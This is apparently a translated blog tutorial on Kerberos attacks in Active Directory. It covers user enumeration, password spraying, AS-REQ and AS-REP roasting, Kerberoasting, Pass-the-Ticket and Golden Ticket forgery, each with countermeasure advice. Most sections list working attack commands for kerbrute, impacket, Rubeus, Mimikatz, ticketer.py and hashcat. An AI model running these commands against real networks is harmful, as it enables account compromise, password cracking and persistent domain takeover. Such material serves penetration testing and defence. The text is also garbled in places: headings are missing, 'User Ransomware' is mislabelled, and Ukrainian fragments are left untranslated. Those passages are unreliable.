
We explain how attackers can exploit system vulnerabilities to gain access to accounts, services, and critical data. In particular, we discuss methods that allow you to bypass security mechanisms, pick up passwords offline, or forge access keys. The article also provides recommendations that will help minimize the risks of such attacks, ensuring a higher level of cyber protection for companies and organizations.
Disclaimer: We are aware that some photos or articles may contain Russian language captions. But isn’t it great to use their own language against them?
There are many known attacks against Active Directory using the Kerberos protocol. Here are some of them:
Elevation of Privilege Attacks:
User Ransomware
Password Spraying / Forging
AS-REQ roasting
AS-REP roasting
Kerberoasting (AnySPN, Targeted Kerberoasting)
Attacks for further advancement:
Pass-the-Key / Overpass-the-hash
Pass-the-Ticket / Pass-the-Cache
Attacks to consolidate:
Silver Ticket
Golden Ticket
Skeleton Key
Diamond Ticket
Next, we will analyze the “classic” attacks from points 1-9. Analysis of the remaining attacks requires the presentation of additional theoretical material and is currently only in plans for the future.
A demonstration of some attacks took place at the TryHackMe booth.
To carry out the attack, network access to the domain controller is required. If successful, a list of valid names of some domain user accounts can be obtained.
The essence of the method is to use the Kerberos property, which allows you to determine whether an account exists, even if an incorrect password is specified. This is achieved by sending a KRB_AS_REQ message with pre-authentication disabled. The domain controller responds to the request in different ways:
If the account does not exist, the response will be the message “user unknown”.
If the account exists, but pre-authentication is enabled, the controller will require it to be performed.
If the account exists and pre-authentication is disabled, the response will be the message KRB_AS_REP.
A feature of this attack is that unsuccessful attempts to brute force usernames are not recorded in the logs as unsuccessful login events, and the counter of incorrect password attempts is not increased. Thanks to this, the risk of blocking the account is completely absent, which makes the method less noticeable compared to other methods.
Command to carry out the attack:
./kerbrute_linux_amd64 userenum -d $Domain_fqdn $users_list --output $filename
To track suspicious authentication attempts, you can use traffic analysis or security event management (SIEM) systems. Attackers often obtain usernames from social networks, file metadata, or email addresses. Typically, accounts are created according to a certain pattern: pivanov, ivanov_vp, etc. Therefore, it is advisable to first find out the format of the names, and only then select them. In real-world penetration testing, a list of users can most often be obtained via LDAP, which simplifies the task.
This method aims to target an account that uses a specific password. Each failed attempt increases the incorrect entry counter. If it reaches a threshold, the account will be locked. Therefore, it is important to know the password policy settings before attacking:
Password complexity – the presence of lowercase and uppercase letters, numbers and special characters.
Minimum length – usually 7 characters.
Lockout threshold – the number of unsuccessful attempts before being locked.
Counter reset time – the interval after which unsuccessful attempts are “reset to zero”.
Lockout duration – the period during which the account is inaccessible after being locked.
For successful password selection, you should consider the lockout threshold and counter reset time to avoid locking out users during an attack.
Command to carry out the attack:
./kerbrute_linux_amd64 passwordspray -d $Domain_FQDN $users_list $Password
Implement a strict password policy:
Minimum password length: 10 for users, 14 for administrators.
Account lockout threshold: 5.
Time before reset: 30 minutes.
Lockout duration and difficulty: Default.
Disallow the use of previous passwords Add a rule that the new password must differ from the previous ones by at least 3 characters.
Periodically unload NT hashes from NTDS.dit and inventory accounts for the presence of dictionary passwords. A simple dictionary for inventory can be downloaded here.
Use firewalls to restrict access to the KDC for network objects that are not included in the whitelist.
Source: Kerbrute
Attack conditions:
Receiving a KRB_AS_REQ message with pre-authentication enabled
Options for fulfilling the condition:
The message can be received as a result of an attack aimed at intercepting network traffic (ARP spoofing, ICMP redirect, fake DHCP server, IPv6 spoofing).
Messages can be extracted from a network traffic dump (PCredz)
Result of a successful attack:
Access with the rights of the attacked account
From the analysis of the content of the KRB_AS_REQ message with pre-authentication enabled, it is clear that the timestamp is encrypted using the user’s key obtained from the password. Thus, if the specified message is available, it is possible to try to guess the password offline (without interacting with the network on the attacker’s workstation) using a dictionary.
Commands for carrying out an attack in Linux:
Extracting authentication data from a pcap file:
Pcredz -f $filepath
Extracting authentication data from all pcap files in a folder:
Pcredz -d $dir_path
Extracting authentication data when listening on a network interface
Pcredz -i $interface_name -v
Hashcat:
If the timestamp is encrypted using RC4:
hashcat -m 7500 $AS_Req_rc4_hashes $dictionary
In the case of AES256:
hashcat -m 19900 $AS_Req_AES256_hashes $dictionary
Countermeasure recommendation:
Implement a strict password policy (дивись раніше)
Using the built-in capabilities of telecommunications equipment, implement protection against attacks aimed at intercepting network traffic (DHCP snooping, Dynamic ARP Protection, IP Source Guard, etc.).
Use two-factor authentication for privileged accounts.
Personal comment: the attack is not very popular. Джерело
Let’s format it properly:
cat found_users.txt | grep "VALID" | cut -f2 > formated_found_users.txt
Using the resulting file containing a list of valid names, we will conduct an attack:
impacket-GetNPUsers $Domain_FQDN/ -usersfile $users_list -outputfile $file
Note: Getting the error KRB_AP_ERR_SKEW (Clock skew too great) means that the time on the domain controller and the attacker’s workstation is significantly different. In Kerberos, as discussed earlier, a lot depends on the clock value. Therefore, before repeating the attack, you should synchronize the time using the following command:
ntpdate $DC_IP
Alternatively, if you have domain user rights, you can immediately get a list of accounts with pre-authentication disabled using LDAP and send a KRB_AS_REQ message only on their behalf:
impacket-GetNPUsers $domain_FQDN/$domain_username:$user_pass -request -outputfile $file
Also, if you have user rights, you can collect information for Bloodhound and view active accounts with pre-authentication disabled there:
It is useful to check the access rights of the detected accounts:
In this case, it is clear that one of the accounts with disabled authentication is the domain administrator, which, if there is a dictionary password or no strict password policy for the specified account, is a significant drawback.
Commands to implement the attack in Windows:
There is a useful tool for attacking Kerberos from Windows, Rubeus. It is usually assumed that Rubeus is run in the context of a process with domain user rights, so no authentication data is specified in the arguments.
Rubeus.exe asreproast /outfile:$result_File
Once you have the desired hashes, you can perform offline password recovery using Hashcat:
hashcat -m 18200 $asrep_hashes_file $dict_file
Countermeasure recommendation:
Implement a strict password policy
Inventory accounts for disabled pre-authentication. For each account identified, consider disabling it.
Use firewalls to restrict access to the KDC for network objects that are not whitelisted.
Attack condition: unprivileged domain user level rights.
Some options for fulfilling the condition:
AS-REP roasting
Password extraction or spraying
Critical vulnerability exploitation
Detect in plain text on a public network folder
Offline extraction using NetNTLMv2 hash
The result of a successful attack: access to the rights of the attacked account.
First, the attacker searches for accounts that have an SPN. This is done using LDAP, for example, using the following query:
"(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
Commands for carrying out an attack in Linux:
If necessary, synchronize the time:
ntpdate $DC_IP
We search for all accounts that have SPNs and request TGS for them:
impacket-GetUserSPNs -dc-ip $DC_IP $Domain_FQDN/$username:$password -request -outputfile $file
Commands for carrying out an attack on Windows:
Rubeus.exe kerberoast /outfile:$file
Note: It is also possible to extract TGS tickets and perform offline password recovery by analyzing network traffic using extracttgsrepfrompcap
You can identify service accounts, as well as view the rights they have, using Bloodhound:
Finally, we perform a hash with Hashcat:
hashcat -m 13100 $kerberos_hashes $dictionary
Attack condition: availability of TGT or TGS tickets.
Options for fulfilling the condition:
Extract tickets from a compromised workstation with administrator rights
Extract tickets from a backup copy of the workstation (without administrator rights)
Extract tickets from the workstation only for the compromised user (without administrator rights)
Generate on your workstation yourself with the appropriate authentication data
Result of a successful attack: further advancement with the rights of the compromised account. Before we begin to analyze the attack, let’s look at how Kerberos tickets are stored in different operating systems.
Linux uses the ccache format (from credential cache) to store Kerberos.
in the /tmp directory in files with names like: krb5cc_%{uid}
in kernel memory specifically designed for storing keys (kernel keyrings)
in user process memory
On Windows, Kerberos tickets are stored in the memory of the lsass process in kirbi format. You can view the tickets available to the current user as follows:
PS C:\Users\Ivan> klist
You can convert tickets to the required format like this:
kirbi -> ccache (Windows -> Linux)
ticketConverter.py $ticket.kirbi $ticket.ccache
ccache -> kirbi (Linux -> Windows)
ticketConverter.py $ticket.ccache $ticket.kirbi
Commands to execute the attack:
У Linux:
export KRB5CCNAME=path_to_ticket.ccache
On Windows using Mimikatz:
kerberos::ptt path_to_ticket.kirbi
In Mimikatz you can also use the ccache format:
kerberos::ptt path_to_ticket.ccache
On Windows using Rubeus:
Rubeus.exe ptt /ticket:"base64 | file.kirbi"
On Linux, to use downloaded tickets in tools that support Kerberos, you need to specify the appropriate keys (typically: -no-pass / -k).
What tools are we talking about? First of all, the utilities included in Impacket, і crackmapexec.
Example:
psexec.py -k $Domain_FQDN/$username@$target
On Windows, after loading into lsass, the ticket will be used by default.
.\PsExec.exe -accepteula \\<target> cmd
Obviously, the TGT provides more opportunities for further advancement, since the TGS ticket is used to access only a specific service.
This is true, but let’s return to the AnySPN attack. During Pass-the-Key, it is possible to replace the SPN in the TGS ticket and use the modified TGS ticket to access another service belonging to the same account.
Recommendations for countering Pass-the-Ticket:
Privileged access will be distributed using Microsoft’s tiered model. Use dedicated accounts with limited privileges to administer non-critical domain objects. Do not use administrative accounts to access non-critical resources.
Restrict inbound connections at the firewall of each endpoint, especially for servers.
Use Credential Guard to protect the lsass.exe process and prevent credential exfiltration on network objects running Windows.
Restrict inbound connections at the firewall of each endpoint.
Literature sources:
Kerberos (II): How to attack Kerberos? (Eloy Pérez)
Attack condition: presence of the account key krbtgt. DCsync attack
Result of a successful attack: securing access to the compromised domain.
Having the account key krbtgt allows the attacker to generate and modify TGTs at their own discretion. Thus, it is possible to create an arbitrary PAC for any domain user and gain access to the required service with the desired rights on their behalf.
Commands to execute the attack in Linux:
Using RC4 key (NT hash):
ticketer.py -nthash $krbtgtNThash -domain-sid $domainSID -domain $Domain $RandomUser
Using an AES key:
ticketer.py -aesKey $krbtgtAESkey -domain-sid $DomainSID -domain $Domain $RandomUser
With group identifiers:
ticketer.py -nthash $krbtgtNThash -domain-sid $DomainSID -domain $Domain -user-id $UserID -groups $GroupID1,$GroupID2, ... $RandomUser
Commands to perform the attack on Windows:
Using the RC4 key (NT hash) in Mimikatz:
kerberos::golden /domain:$Domain /sid:$DomainSID /rc4:$krbtgt_NThash /user:$RandomUser /ptt
Using AES128 key in Mimikatz:
kerberos::golden /domain:$Domain /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:$RandomUser /ptt
Using AES256 key in Mimikatz:
kerberos::golden /domain:$Domain /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:$RandomUser /ptt
This concludes our review of classic attacks on the Kerberos protocol. We have considered the main aspects, protection tips, and implementation features of these attacks. I hope this material will help you better understand the mechanisms of attacks on Kerberos in the Active Directory environment.
However, no matter how hard we try, we cannot cover all the issues at once. Some important topics, for example, those related to delegation, were left out. Attacks that create the conditions for further attacks on Kerberos were also not described.